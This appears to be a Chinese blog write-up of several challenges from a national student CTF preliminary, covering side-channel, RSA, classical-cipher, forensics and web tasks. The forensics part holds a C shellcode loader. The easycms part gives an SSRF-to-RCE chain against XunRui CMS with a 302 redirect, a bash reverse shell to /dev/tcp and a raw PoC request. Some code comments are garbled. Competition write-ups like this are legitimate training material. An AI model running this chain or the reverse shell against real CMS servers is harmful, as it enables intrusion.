第十六届全国大学生信息安全竞赛初赛部分CFT题解析

第一天_Power Trajectory Diagra

操作内容:改文件后缀名为zip得到4个npy文件,提取index、input和trace这三个数组,使用脚本解出

import numpy as np
f = np.load('attachment.npz')
index = f['index']
ip = f['input']
tr = f['trace']

for _ in range(13):
    t = []
    table = ip[40*_:40*(_+1)]
    for i in range(40):
        min = np.argmin(tr[_*40+i])
        t.append(min)

    #print(t)
    mins = np.argmax(t)
    ind = table[mins]
    print(ind,end='')

通风机

补上这三个文件头

用https://blog.csdn.net/qq_42025309/article/details/114576190 软件打开

然后在符号表里有base64

ZmxhZ3syNDY3Y2UyNi1mZmY5LTQwMDgtOGQ1NS0xN2RmODNlY2JmYzJ9

第一天_火锅链观光打卡

操作内容:运行游戏,答题集齐7个不同的食材得到旋转图片截图获取

 OvO

操作内容:解压得到task.sage的sage文件,将文件用记事本打开,得到RSA加密算法,求解密内容,在sage环境中运行脚本即可获得flag

from Crypto.Util.number import *  
k = e // n - 2 
tmp = 65537 + (k+2)*n + (k+2)+1 
 
R.<x> = PolynomialRing(RealField(1024))
f = e*x - (2*(k+1)*x^2 + (k+2)*n + tmp*x)
res = f.roots()
 
for root in res:
    p_high = int(root[0])
    PR.<x> = PolynomialRing(Zmod(n))
    f1 = x + p_high
    roots = f1.monic().small_roots(X=2^200,beta=0.4)
    if roots:
        p = int(roots[0]) + p_high
        q = n // p
        e = 65537 + k * p + (k+2) * ((p+1) * (q+1)) + 1 
        d = inverse(e,(p-1)*(q-1))
        m = pow(c,d,n)
        print(long_to_bytes(int(m)))

古典密码

操作内容:三重加密atbash,base64,栅栏密码

盗版软件

操作内容:运行 exe 会生成 2 个东西,Dmp 拖到 gimp 里面调节

Winhack.com

提取图片的数据

import numpy as np

from PIL import Image

import struct


# 打开图像文件

img = Image.open("output.png")

img = img.convert('RGBA')


# 提取图像数据

image_data = np.array(img.getdata(), dtype=np.uint8)

# 提取数据长度

length_bytes = bytearray(image_data[0:8:2, 0])

#  解包数据长度

data_length = struct.unpack('<I', length_bytes)[0]

# 提取数据内容

extracted_data = bytearray(image_data[8:8 + (data_length * 2):2, 0])

#  将提取的数据写入新文件

with open("a.zip", 'wb') as file:

file.write(extracted_data)

base85 解密后再 hex 即时可用的 shellcode 在放入下面的 c 语言

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <windows.h>

unsigned char shellcode[] =

int main() {

// 璁$畻 shellcode 闀垮害

size_t length = sizeof(shellcode) - 1;

// 鍒嗛厤鍙   墽琛屽唴瀛?

void     *exec      =      VirtualAlloc(0,     length,      MEM_COMMIT      |      MEM_RESERVE,

PAGE_EXECUTE_READWRITE);

if (exec == NULL) {

printf("VirtualAlloc failed: %d\n", GetLastError());

return 1;

}

// 灏唖 hellcode 澶嶅埗鍒板彲鎵 ц    鍐呭瓨

memcpy(exec, shellcode, length);

// 鎵 ц   shellcode

((void(*)())exec)();


return 0;

}

编译执行, 开 wireshark 抓包即可得到 ip

第一天_easycms

进入页面,发现是迅瑞cms

查看提示,发现只有通过web服务本地访问/flag.php路径才能进行代码执行

没什么思路,去github找源码,看看源代码里有没有方法能向本地发起请求

翻源代码的时候发现了一个生成二维码的方法qrcode

直接进行网络搜索

发现一个不需要登录的rce,点开看看

先在公网上启一个php的web服务,重定向访问到127.0.0.1的flag.php路径,但考虑到该次执行可能没有回显,所以直接构造反弹shell

启动完成以后,公网服务器开监听监测弹回的shell

回到web题目 构造请求

将thumb参数替换为自己启动的web服务重定向接口路径

构造参数

/?s=api&c=api&m=qrcode&text=1&thumb=http:///

然后访问

返回自己服务器查看

发现shell已经反弹

经过找寻

执行/readflag即可获得flag

今天的

ndex.php?s=api&c=api&m=qrcode&text=1&thumb=http://302地址/

302地址开启php -S 0.0.0.0:80

设置<?php header('location:http://127.0.0.1/flag.php?cmd=');?>

cmd后面为/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxxx/xxxx 0>&1" url编码

今天poc php文件加上这个

GIF89a<?php

echo 'GIF89a';

昨天的poc

GET /index.php?s=api&c=api&m=qrcode&thumb=&text=abcd&size=1024&level=1 HTTP/1.1

Host: eci-2ze9sa3j2fhrmvw9wiei.cloudeci1.ichunqiu.com

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Content-Length: 0

Connection: close

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值